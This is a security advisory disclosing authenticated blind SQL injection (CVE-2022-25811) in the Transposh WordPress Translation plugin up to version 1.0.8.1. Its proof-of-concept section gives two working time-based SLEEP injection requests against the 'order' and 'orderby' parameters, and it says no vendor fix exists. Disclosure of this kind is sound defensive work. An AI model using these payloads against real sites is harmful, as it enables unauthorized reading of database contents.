Transposh <= 1.0.8.1 “tp_editor” Multiple Authenticated SQL Injections
Jul 22, 2022 · By Julien Ahrens
ADVISORY INFORMATION
- Product: Transposh WordPress Translation
- Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress
- Type: Improper Authorization [CWE-285]
- Date found: 2022-02-21
- Date published: 2022-07-22
- CVSSv3 Score: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N)
- CVE: CVE-2022-25811
CREDITS
This vulnerability was discovered and researched by Julien Ahrens from RCE Security.
VERSIONS AFFECTED
Transposh WordPress Translation 1.0.8.1 and below
INTRODUCTION
Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.
(from the vendor’s homepage)
VULNERABILITY DETAILS
The WordPress plugin’s “tp_editor” page at “/wp-admin/admin.php?page=tp_editor” is vulnerable to two authenticated, blind SQL Injections when user-supplied input to the HTT GET parameters “order” and “orderby” is processed by the web application.
Since the application does not properly validate and sanitize these parameters, an attacker with the role “Administrator” is able to inject arbitrary SQL commands against the backend database server of the web application.
Successful exploits can allow the attacker to access the WordPress backend database and thereby read sensitive contents. This is specifically relevant in multi-site installations.
PROOF OF CONCEPT
To exploit the “order” parameter:
GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close
To exploit the “orderby” parameter:
GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close
SOLUTION
None. Remove the plugin to prevent exploitation.
REPORT TIMELINE
- 2022-02-21: Discovery of the vulnerability
- 2022-02-21: Contacted the vendor via email
- 2022-02-21: Vendor response
- 2022-02-22: CVE requested from WPScan (CNA)
- 2022-02-23: WPScan assigns CVE-2022-25811
- 2022-05-22: Sent request for status update on the fix
- 2022-05-24: Vendor states that there is no update planned so far
- 2022-07-22: Public disclosure